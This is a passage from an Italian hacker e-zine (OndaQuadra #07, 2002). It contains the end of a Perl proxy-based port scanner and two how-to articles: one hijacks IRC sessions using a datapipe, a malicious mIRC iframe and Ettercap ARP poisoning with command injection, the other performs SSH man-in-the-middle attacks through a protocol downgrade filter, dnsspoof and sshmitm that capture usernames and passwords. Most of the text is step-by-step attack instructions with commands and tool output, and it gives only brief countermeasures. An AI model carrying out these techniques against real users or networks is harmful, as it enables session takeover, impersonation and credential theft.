| $sd = IO::Socket::INET -> new( PeerAddr => $proxy , |
| PeerPort => $p_port , |
| Proto => "tcp" ) || |
| die "is better to change HTTP proxy...maybe is |
| down..\n"; |
| |
| $send = "GET HTTP:\/\/$target:$i\/ HTTP\/1.0\n\n\n\n"; |
| print $sd "$send"; |
| |
| read $sd, $x, 30; |
| |
| if( $x !~"503" ) |
| { |
| print "Yeah..port is open!\n"; |
| print "And the banner is:\n\n"; #commenta queste 2 linee se non |
| print "$x\n"; #vuoi vedere il banner |
| } |
| else { |
| |
| print "Mmm..this port result closed\n; |
| } |
| |
| close $sd; |
| |
| } |
| |
| |
| ________________________________splitta qui________________________ |
| |
| |
| |
| Ora, l'unico problema che possiamo incontrare quando usiamo proxy HTTP |
| e' il range di porte da scannare; ovvero, gran parte dei proxy server, |
| se settati correttamente non sempre permettono connessioni in uscita |
| verso tutte òle porte, ma di solito solo da 80 e oltre la 1024. |
| Potremme risolvere la cosa aggiungendo nel programma precedente un |
| controllo di uscita, ovvero controllare se effettivamente il proxy |
| instaura una connessione con l'obiettivo. |
| |
| |
| |
| Come abbiamo potuto vedere,un attacker,bene o male intenzionato che sia, |
| ha diverse strade per raggiungere lo scopo: potrebbe quindi facilmente |
| mapparsi intere reti in cerca di porte aperte e/o servizi conosciuti e |
| familiari da exploitare; e tutto questo senza essere identificato da IDS |
| e firewall grazie al *distribuited scan*. |
| In aggiunta, l'attacker ha anche la possibilita' si bypassare i settaggi |
| dei firewall e dei proxy servers, cosi' come di altri servers, |
| semplicemente utilizzando un indirizzo compreso in un range di IP di |
| classi privilegiate alle quali e' consentito passare. |
| |
| |
| |
| Ma cosa possiamo fare per rimediare a tutto cio'? |
| Tutti i protocolli proxy hanno una opzione che permette di settare user |
| e passwd per potersi agganciare ed uscire; questo e' cmq un settaggio |
| molto poco usato. |
| Per quanto riguarda invece gli Intrusion Detection Systems potrebbero |
| essere riconfigurati non allarmandosi per plurisessioni da un singolo |
| IP, |
| bensi' in modo tale da allarmarsi quando vengono rilevati troppi probes |
| verso porte *chiuse* in un certo lasso di tempo.. |
| Secondo la mia misera opinione, i distribuited scan* diverranno molto |
| comuni,quindi ben presto IDS e FW saranno *istruiti* a rilevarli. |
| |
| |
| |
| Tutti i programmi che ho inserito , possono essere molto implementati |
| ancora. Ad esempio includendo scan con threads multipli che |
| velocizzarebbero il lavoro di un bel po'. |
| Anche in perl la funzione che ci permette di "splittare" un processo in |
| un processo padre ed un figlio e' la classica fork(), ma che |
| purtroppo non conosco bene visto che prediligo la programmazione in C. |
| Tant'e' che esistono programmi che arrivano anche a molti thread che |
| lavorano in simultanea. L'ultimo prog di questo genere che ho testato, |
| e che ritengo molto valido (se non uno dei + validi), e' Hydra dei "The |
| Hacker's Choice". Hydra e' un bruteforcer sofisticato che permette scan |
| a dizionario specifiche sistema per sistema: scansioni per porte telnet, |
| porte ftp, router cisco etc.. permette addirittura di sfruttare ben 128 |
| thread in imultanea, riducendo quindi di 128 volte il tempo che ci |
| vorrebbe con un normale bruteforcer. |
| E' pero' anche da considerare che servirsi di 128 thread in simultanea |
| risulta anche un po' rumoroso...visto che 128 thread significano anche |
| 128 socket aperti sull'obiettivo... |
| |
| |
| |
| Potrebbero anche venire implementati per selezionare proxy e |
| "target-port" in modo causale tramite la funzione random(3); |
| questo metodo consentirebbe anche di prevenire settaggi futuri di IDS |
| e firewall. |
| |
| Spero di essere stato chiaro su tutti i punti. |
| |
| |
| |
| /* */ |
| /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ |
| /* :raptor, Morpheo, embyte, MightyInquisitor, */ |
| /* MoF, UIHA e..chi manca ma si sente incluso */ |
| /* */ |
| /* Bfi, OndaQuadra, Phrack, Whitepapers varie */ |
| /* */ |
| /* */ |
| /* Fucks to : anyone */ |
| /* */ |
| /* */ |
| /* NON NELLA CONOSCENZA STA IL POTERE, */ |
| /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!" */ |
| /* */ |
| /* */ |
| /* */ |
| /* ..::SNHYPER::.. */ |
| /* snhyper@hotmail.com */ |
| /* "Security Developer" */ |
| /* Linux registered user #249109 */ |
| /* Linux registered machine #133922 */ |
| /* */ |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| iRC HiJACKiNG [E4zy] 0x07/0x19 |
+--------------------------------------------------------------------------+
| 1. Premessa |
| |
| 2. Intro |
| |
| 3. Requisiti |
| |
| 4. Hijacking |
| 4.1 Datapipe |
| 4.2 mIRC Bug |
| 4.3 Ettercap |
| |
| 5. Characters Injection |
| |
| 6. Risorse |
| |
| |
| |
| 1. Premessa |
| Non è intenzione dell'autore del presente articolo incentivare alcuna |
| azione atta a ledere la privacy e il quieto vivere di altri utenti, |
| bensì con il presente si intende dimostrare l'estrema facilità con cui |
| un utente malintenzionato possa mettere a segno un attacco atto a minare |
| l'integrità della comunicazione durante una sessione IRC. |
| |
| 2. Intro |
| Lo scopo di questo articolo è quello di illustrare una tecnica che |
| permetta di prendere possesso della sessione di un utente al fine di |
| inviare messaggi al canale ed interagire con ogni comando del server IRC |
| in genere. |
| |
| 3. Requisiti |
| Ecco una breve lista di ciò di cui ho avuto bisogno per mettere in |
| pratica quanto verrà detto in seguito: |
| |
| Datapipe |
| Permette di redirigere il traffico in ingresso su una determinata porta |
| dell'host locale verso un host e una porta arbitrari; |
| |
| Ettercap |
| E' un tool che permette di sniffare e fare hijacking di una sessione |
| utilizzando svariate tecniche tra cui l'avvelenamento delle cache ARP |
| che sarà quella di cui mi servirò in seguito; |
| |
| LAN con due host Unix/Linux connessi a Internet |
| Il primo eseguirà il datapipe e ospiterà la sessione, l'altro host sarà |
| quello dal quale eseguiremo Ettercap per fare hijacking della sessione |
| che rimbalza su di noi. |
| |
| 4. Hijacking |
| |
| 4.1 Datapipe |
| Procuratevi un datapipe, personalmente ho utilizzato datapipe.c di Jeff |
| Lawson, ponete in ascolto la porta 6667 mediante l'utilizzo del datapipe |
| su uno dei due host che prendono parte alla vostra rete locale e fate in |
| modo che il traffico in ingresso su tale porta venga rediretto verso il |
| server irc sulla porta 6667, esempio: |
| |
| attacker@datapipe:~$ ./datapipe 192.168.1.5 6667 irc.azzurra.org 6667 |
| |
| A questo punto qualsiasi connessione in ingresso sulla porta 6667 dell' |
| host locale 192.168.1.5 verrà rediretta verso il server IRC di Azzurra. |
| Ora non vi resta che nattare(2) la porta 6667 sul vostro router di |
| confine per permettere una connessione p
roveniente dall'esterno verso |
| l'host locale che esegue il datapipe. |
| |
| (2)nattare: deriva da NAT (Network Address Translation), permette la |
| traduzione di un indirizzo IP in un altro, nel nostro caso permette di |
| mettere in relazione la porta 6667 del router di confine con la stessa |
| porta di un host interno alla rete locale (192.168.1.5) al fine di |
| permettere l'accesso da parte di host esterni. |
| |
| 4.2 mIRC Bug |
| Ora il vostro sistema è pronto per ricevere una connessione da parte di |
| un utente remoto, il quale verrà reinstradato tramite datapipe al server |
| IRC in modo del tutto trasparente, non dovete far altro che trovare un |
| utente che si connetta con il client IRC al vostro datapipe. |
| |
| Un utente malizioso potrebbe sfruttare un bug abbastanza conosciuto del |
| mIRC 5.9 e 5.91 per far connettere la vittima al proprio datapipe, la |
| vulnerabilità consiste nella possibilità di costruire una pagina web |
| contenente un particolare tag html che permette di lanciare il client |
| mIRC e farlo connettere ad un server arbitrario specificato all'interno |
| della pagina html stessa. |
| |
| <iframe src="irc://vostro_IP:6667"> |
| |
| Basterà che la vittima visiti la pagina web contenente il tag html |
| appena illustrato per causare la connessione della stessa all'IP |
| specificato. |
| |
| 4.3 Ettercap |
| Ora che avete un utente potenziale connesso al server IRC tramite il |
| vostro datapipe potete alterare la sessione di tale utente a vostro |
| piacimento. |
| Ettercap permette di fare hijacking in maniera semplice ed efficace |
| utilizzando una tecnica conosciuta come ARP poisoning che consente di |
| avvelenare la cache ARP di host locali al fine di alterarne il processo |
| di risoluzione degli indirizzi IP in indirizzi MAC. |
| Ettercap inoltre permette di inserire traffico arbitrario all'interno |
| della sessione provvedendo a ricalcolare i campi sequence number e |
| acknowledgement number al fine di mantenere la sincronizzazione della |
| connessione. |
| L'utilizzo di un secondo host si rende necessario in quanto Ettercap NON |
| permette l'avvelenamento della cache ARP dell'host sul quale viene |
| eseguito, pertanto sarebbe impensabile eseguire il datapipe e Ettercap |
| sullo stesso host per le limitazione appena evidenziate. |
| |
| attacker@attack:~# ettercap |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ? 1) 192.168.1.4 1) 192.168.1.4 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.5 5) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Il menù principale di Ettercap è costituito dall'elenco degli IP degli |
| host che prendono parte alla rete locale. Dovremo procedere selezionando |
| dall'elenco a sinistra l'IP dell'host sorgente della sessione e a destra |
| quello dell'host destinatario. |
| Nel nostro caso l'IP sorgente è quello dell'host su cui gira il datapipe |
| ovvero 192.168.1.5 e l'IP dell'host destinatario è quello del gateway |
| cioè 192.168.1.1, una volta scelti questi IP nella maniera opportuna |
| sarà possibile procedere al poisoning della cache ARP dei due host |
| mediante la pressione del tasto A. |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ? 1) 212.171.XXX.XX:3600 <--> 192.168.1.5:6667 ? silent |
| ? 2) 192.168.1.5:1028 <--> 192.106.224.132:6667 ? silent |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Ora il traffico tra i due host risulta dirottato e possiamo osservare e |
| modificare a nostro piacimento i dati in ingresso/uscita. |
| Nell'esempio qui sopra la voce 1) si riferisce alla sessione stabilita |
| tra il client IRC remoto e il datapipe, mentre la voce 2) rappresenta la |
| sessione tra datapipe e server IRC. |
| A questo punto selezioniamo la sessione 2) e iniziamo ad osservare il |
| traffico che transita in chiaro sul nostro segmento di rete, una breve |
| conversazione come questa... |
| |
| [00:31:11] <victim> ciao e4zy |
| [00:32:19] <E4zy> ciao |
| [00:33:03] <victim> come va? |
| [00:33:17] <E4zy> tutto bene, grazie |
| |
| ...verrà riportata come output di Ettercap in un formato un po' meno |
| leggibile, dove sulla sinistra viene riportato il traffico in uscita dal |
| client diretto al server, mentre sulla destra il traffico in uscita dal |
| server diretto verso il client: |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ??192.168.1.5:1028???????????????? ?192.106.224.132:6667???????????????? |
| ??PRIVMSG #ondaquadra :ciao e4zy.? ?:E4zy!~none@AzzurraNet-65135.42-151. |
| ??PRIVMSG #ondaquadra :come va?. ? ?net24.it PRIVMSG #ondaquadra :ciao. |
| ?? ? ?:E4zy!~none@AzzurraNet-65135.42-151. |
| ?? ? ?net24.it PRIVMSG #ondaquadra :tutto |
| ?? ? ?bene, grazie. |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???ASCII?????????????????????????? ??ASCII?????????????????????????????? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Usando il tasto TAB è possibile passare da una metà schermo all'altra in |
| modo tale da poter intervenire sul lato client o sul lato server a |
| seconda di dove si trova la finestra attiva. |
| |
| 5. Characters Injection |
| Per adempiere al nostro scopo abbiamo bisogno di spostarci sul server |
| side (una sola pressione del tasto TAB) al fine di inviargli comandi da |
| parte del client dirottato, a questo punto premendo il tasto I si aprirà |
| una finestra che ci permette di iniettare dei comandi nello stream che |
| verranno elaborati dal server, vediamo un esempio: |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ??192.168.1.5:1028??????????????? ?192.106.224.132:6667????????????????? |
| ??PR??Type characters to be injected (max 1000):?????????????????? |
| ??PR? ?2-151. |
| ?? ?PRIVMSG #ondaquadra :sono stupido!\r\n ?tutto |
| ? |
| ?? ? ?2-151. |
| ?? ? ?tutto |
| ? |
| ?? ? ?2-151. |
| ?? ? ?tutto |
| ? |
| ? |
| ???ASCII???????????????????????????????????????????????????????????????? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Quando inviamo comandi al lato server è sempre bene farli seguire dai |
| caratteri \r\n che sostituiscono la pressione del tasto INVIO che ne |
| permette l'esecuzione, ecco il risultato del comando precedente: |
| |
| [00:31:11] <victim> ciao e4zy |
| [00:32:19] <E4zy> ciao |
| [00:33:03] <victim> come va? |
| [00:33:17] <E4zy> tutto bene, grazie |
| [00:33:49] <victim> sono stupido! |
| |
| L'ultima frase pronunciata dalla vittima non è farina del suo sacco |
| bensì è il frutto dell'iniezione di caratteri da parte dell'attacker |
| nella sessione dirottata. |
| Il client IRC della vittima sarà l'unico a non visualizzare tale frase |
| pertanto non desterà in lei alcun sospetto, il messaggio sarà in ogni |
| caso visibile da tutti gli utenti del canale. |
| |
| L'iniezione di caratteri all'interno della sessione TCP non si limita a |
| fornire la possibilità di inoltrare messaggi al canale da parte della |
| vittima, bensì permette l'esecuzione di ogni genere di comando sul |
| server IRC alla sola condizione di conoscere il protocollo a livello |
| applicazione con cui il client e il server comunicano, qui di seguito vi |
| propongo una serie di esempi un po' più fantasiosi: |
| |
| |
| JOIN #canale Fa joinare la vittima in un canale a |
| vostra scelta |
| |
| NICK nickname Cambia il nick della vittima in uno di |
| vostro gradimento |
| |
| MODE #canale +o nickname Fa si che la vittima oppi nickname nel |
| canale specificato, il nickname potrebbe |
| essere il vostro |
| |
| KICK #canale nickname Fa si che la vittima kicki nickname nel |
| canale specificato |
| |
| PRIVMSG nickname :msg Invia una query a nickname da parte |
| della vittima contenente il testo msg |
| |
| ns ACCESS ADD mask Se il server IRC su cui si trova la |
| vittima dispone di servizi come Nickserv |
| potete addare la vostra mask in modo da |
| essere riconosciuti come proprietari del |
| nick...non siate lameri :) |
| |
| Questi comandi dovranno essere sempre seguiti dai caratteri \r\n che ne |
| permettono l'esecuzione da parte del server. |
| Provando a sniffare una vostra sessione sarete in grado di evidenziare |
| ulteriori comandi utilizzabili in tale contesto. |
| |
| 6. Risorse |
| # mount -t mind /dev/brain /mnt/head |
| README.ettercap.txt |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| HACK CRYPTOGRAPHiC TUNNELS [E4zy] 0x08/0x19 |
+--------------------------------------------------------------------------+
| 1. Intro |
| |
| 2. SSH Protocol |
| 2.1 RSA Key Exchange |
| |
| 3. SSH Attack |
| 3.1 ARP Poisoning |
| 3.2 DNS Spoofing |
| 3.3 Contromisure |
| |
| 4. SSL Protocol |
| |
| 5. SSL Attack |
| 5.1 Webmitm |
| |
| 6. Risorse |
| |
| |
| |
| 1. Intro |
| Il fiorire del commercio elettronico rappresenta la ragione alla base |
| dei recenti sforzi compiuti per migliorare la sicurezza delle |
| transizioni in rete, in particolare, l'integrazione della crittografia |
| nei protocolli di rete è espressione di un dilagante bisogno di |
| sicurezza. |
| Tuttavia gli strumenti che attuano la crittografia dei dati e ne |
| permettono il trasferimento "sicuro" in rete non sono immuni alle |
| vulnerabilità e vanno usati con tale consapevolezza. |
| Il proposito dell'autore è quello di guidare il lettore attraverso un |
| percorso che illustri le tecniche in grado di attentare alla |
| riservatezza e all'integrità dei dati trasmessi attraverso un tunnel |
| crittografico. |
| |
| 2. SSH Protocol |
| SSH fornisce un livello trasporto sicuro attraverso un tunneling |
| crittografico che garantisce la segretezza e l'integrità dei dati |
| trasmessi attraverso un mezzo potenzialmente insicuro: Internet. |
| |
| 2.1 RSA Key Exchange |
| Il processo di autenticazione RSA a livello host permette di stabilire |
| l'identità dell'interlocutore all'altro capo del "cavo", questo fornisce |
| ulteriori garanzie in termini di sicurezza e permette di identificare in |
| maniera univoca gli host con cui si desidera stabilire una sessione SSH. |
| Una breve panoramica del processo di autenticazione RSA si rende a |
| questo punto indispensabile per comprendere a fondo la dinamica dello |
| scambio delle chiavi pubbliche e di sessione. |
| |
| Nel momento in cui il server sshd rivece una richiesta di connessione da |
| parte di un client, risponde inviando la propria chiave host pubblica e |
| la propria chiave server pubblica, quest'ultima viene rigenerata |
| periodicamente. A questo punto il client verifica l'autenticità della |
| chiave host pubblica inviata dal server con un database memorizzato |
| localmente. |
| Se non siamo in possesso di tale chiave nel database probabilmente è la |
| prima volta che stabiliamo una connessione con l'host remoto, pertanto |
| ci verrà richiesto se desideriamo aggiungere tale chiave al nostro |
| database. |
| Una volta convalidata la chiave host pubblica del server la sessione può |
| avere luogo, a tale fine il client inoltra una chiave di sessione di 256 |
| bit crittografata con entrame le chiavi pubbliche del server. |
| La chiave di sessione verrà utilizzata da entrambi gli host per generare |
| la chiave segreta dell'algoritmo di crittografia simmetrico che verrà |
| utilizzato per il resto della comunicazione. |
| |
| 3. SSH Attack |
| Per compromettere una sessione SSH dobbiamo trovarci nella condizione |
| di possedere la chiave privata in grado di decriptare il traffico |
| crittografato dal client con chiave pubblica. Questo ci permetterà in un |
| secondo momento di venire in possesso della chiave di sessione che verrà |
| utilizzata da ambo i lati per crittografare con algoritmo simmetrico |
| l'intera sessione. |
| |
| 3.1 ARP Poisoning |
| L'avvelenamento della cache ARP ci permette di influenzare |
| l'instradamento del traffico di host presenti nella nostra stessa rete |
| LAN, in questo modo siamo in grado di dirottare una sessione SSH |
| attraverso il nostro stesso sistema. |
| In tal modo la chiave pubblica inviata dal server transiterà attraverso |
| di noi prima di giungere al client, questo ci darà modo di sostituirla |
| con una chiave pubblica fasulla emessa da noi stessi. |
| Nel caso in cui il client stia effettuando una connessione con tale host |
| per la prima volta non noterà alcuna anomalia, in caso contrario |
| riscontrerà una incoerenza tra la chiave pubblica del server memorizzata |
| nel database locale e quella appena ricevuta, l'utente verrà avvertito |
| da un messaggio di questo tipo e gli verrà richiesto se desidera |
| continuare: |
| |
| victim@victim:~# ssh 192.168.1.5 |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @ WARNING: HOST IDENTIFICATION HAS CHANGED! @ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! |
| Someone could be eavesdropping on you right now (man-in-the-middle [...] |
| It is also possible that the host key has just been changed. |
| Please contact your system administrator. |
| Add correct host key in /root/.ssh/known_hosts to get rid of this [...] |
| Agent forwarding is disabled to avoid attacks by corrupted servers. |
| X11 forwarding is disabled to avoid attacks by corrupted servers. |
| Are you sure you want to continue connecting (yes/no)? |
| |
| Esiste tuttavia un modo per evitare questo spiacevole inconveniete, il |
| modo migliore per aggirare questo controllo è quello di alterare la |
| negoziazione della versione del protocollo SSH. |
| Esistono due protocolli con cui il client e il server sono in grado di |
| comunicare, questi sono SSHv1 e SSHv2, i demoni più recenti supportano |
| entrambi i protocolli ma danno una priorità maggiore alla versione 2 del |
| protocollo. |
| Per vedere le versioni del protocollo SSH supportate dal server basterà |
| aprire una sessione telnet con esso e verificare il banner che potrà |
| apparire come segue: |
| |
| SSH-1.5-OpenSSH_2.9p1 |
| Il server ssh supporta solo la versione 1 del protocollo; |
| |
| SSH-1.99-OpenSSH_2.9p1 |
| Il server ssh supporta entrambi i protocolli ma darà maggior precedenza |
| alla versione 2, questa è la situazione con cui più comunemente avremo a |
| che fare; |
| |
| SSH-2.0-OpenSSH_2.9p1 |
| Il server ssh supporta solo la versione 2 del protocollo. |
| |
| Tutto ciò che dobbiamo fare è trovarci nel mezzo al fine di alterare il |
| banner che verrà presentato al client nel momento della connessione, in |
| questo modo faremo credere a quest'ultimo che il demone supporti |
| esclusivamente la versione 1 del protocollo, il client a questo punto |
| aprirà una sessione in protocollo versione 1. |
| Ora non solo siamo in grado di sniffare l'intera sessione ma il client |
| NON visualizzerà alcun messaggio di avvertimento in cui notifica |
| l'incoerenza della chiave pubblica e l'attacco potrà procedere in |
| maniera del tutto trasparente agli occhi della vittima. |
| Questo è dovuto al fatto che il client SSH tiene due database di chiavi |
| pubbliche separati, uno per la versione 2 del protocollo e uno per la |
| versione 1 che con tutta probabilità non conterrà alcuna chiave |
| impedendo ogni riscontro. |
| |
| La chiave di sessione utilizzata da client e server side per |
| crittografare in chiave simmetrica l'intera sessione cadrà nelle mani di |
| chi attacca che potrà decriptare ogni successiva comunicazione. |
| A questo punto non resta che crittografare la chiave di sessione emessa |
| dal client con la chiave pubblica del server precedentemente ricevuta e |
| inviarla al server, la sessione avrà luogo normalmente e noi possediamo |
| la chiave di sessione! |
| |
| Un tool in grado di dimostrare la validità di quanto ho appena affermato |
| è Ettercap, esso si è dimostrato in grado di sniffare in chiaro una |
| sessione SSHv1 tra due host avvelenandone la cache ARP. |
| |
| attacker@attack:~# ettercap |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.6 1) 192.168.1.6 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.4 5) 192.168.1.4 |
| ? 6) 192.168.1.5 6) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? Host: Unknown host (192.168.1.6) |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Una volta lanciato Ettercap vi da la possibilità di selezionare la |
| sorgente e la destinazione del traffico che si desidera sniffare... |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.4 |
| ? |
| ?DEST : 192.168.1.5 |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.6 1) 192.168.1.6 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.4 5) 192.168.1.4 |
| ? 6) 192.168.1.5 6) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? Host: Unknown host (192.168.1.4) |
| ? Host: Unknown host (192.168.1.5) |
| ???????????????????????????????????????????????????????????????????????? |
| |
| ...i due IP selezionati sono rispettivamente quello del client e del |
| server SSH e vengono evidenziati in alto a sinistra, per avvelenare la |
| cache ARP dei due host premere il tasto "A", vi verrà chiesta conferma |
| prima di procedere con tale operazione. |
| Ora premendo il tasto "F" accediamo alla sezione relativa ai filtri e |
| configuriamo Ettercap in modo da sostituire il banner server side con |
| uno a nostra discrezione; per far questo dobbiamo settare un filtro |
| relativo all'host destinazione avente le seguenti caratteristiche: |
| |
| Proto: TCP |
| Source port: 22 |
| Dest port: 0 |
| Search: SSH-1.99 |
| Action: Replace |
| Replace: SSH-1.5 |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.4 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) |
| ?DEST : 192.168.1.5 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.4:1022 <--> 192.168.1.5:22 ? silent ? SSH decrypt |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? USER: root |
| ? PASS: secret |
| ???????????????????????????????????????????????????????????????????????? |
| |
| ...nel momento in cui il client cerca di stabilire una connessione con |
| il server il nome utente e la password compaiono in chiaro nell'angolo |
| in basso a sinistra, l'intera sessione è visibile in chiaro selezionando |
| la voce contraddistinta dal numero 1. |
| |
| 3.2 DNS Spoofing |
| L'argomento DNS spoofing è stato analizzato in dettaglio nel corso dell' |
| articolo "DNS Spoofing Attack" comparso nel numero 06 di OndaQuadra |
| pertanto chiunque fosse interessato ad approfondire tale argomento è |
| invitato a fare riferimento all'articolo appena citato, qui di seguito |
| riporto alcuni passi tratti da tale articolo: |
| |
| "I resolver, ovvero i programmi che generano le interrogazioni verso un |
| NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro |
| in quanto non garantisce l'avvenuta ricezione del pacchetto da parte |
| dell'host destinatario (non confermato) e non stabilisce una connessione |
| (non connesso), dando modo ad un malintenzionato di ledere alla |
| sicurezza della sessione stessa. |
| Una query DNS (interrogazione) può essere intercettata da un host remoto |
| malevolo il quale spoofando il source address del pacchetto IP può |
| inviare una risposta al mittente come se provenisse dal server DNS, la |
| DNS reply conterrà informazioni atte all'alterazione della sessione che |
| il mittente della query si appresta ad intraprendere. |
| Naturalmente questa tecnica avrà successo solo nel caso in cui la |
| risposta fasulla dovesse giungere a destinazione prima della reply |
| legittima proveniente dal NS che verrebbe di conseguenza ignorata." |
| |
| Sshmitm è un tool che opera come un server SSHv1 malevolo, il suo |
| compito è quello di accettare le richieste di connessione provenienti |
| dal client ssh vittima dello spoofing DNS e redirigerle verso il server |
| reale. |
| Sshmitm emetterà una propria chiave pubblica, il client ssh notificherà |
| che la chiave pubblica del server è cambiata, tuttavia, nel caso in cui |
| l'utente dia il proprio consenso a proseguire la connessione, la chiave |
| fasulla emessa da Sshmitm sarà la stessa che usarà il client ssh per |
| crittografare la chiave di sessione che sarà in tal modo visibile dall' |
| attacker, in seguito Sshmitm opererà come un proxy per la sessione SSH |
| inoltrando tutto il traffico verso il server sshd legittimo e fornendo a |
| chi attacca il nome utente e la password utilizzate dal client per |
| autenticarsi sul sistema remoto. |
| |
| Vediamo ora un assaggio di come mettere a frutto quanto imparato, come |
| prima cosa prepariamoci a spoofare l'interrogazione DNS con l'IP con cui |
| desideriamo venga risolto l'hostname server.trust.com: |
| |
| attacker@attack:~# echo "192.168.1.6 server.trust.com" > ~/hosts.txt |
| attacker@attack:~# cat ~/hosts.txt |
| 192.168.1.6 server.trust.com |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
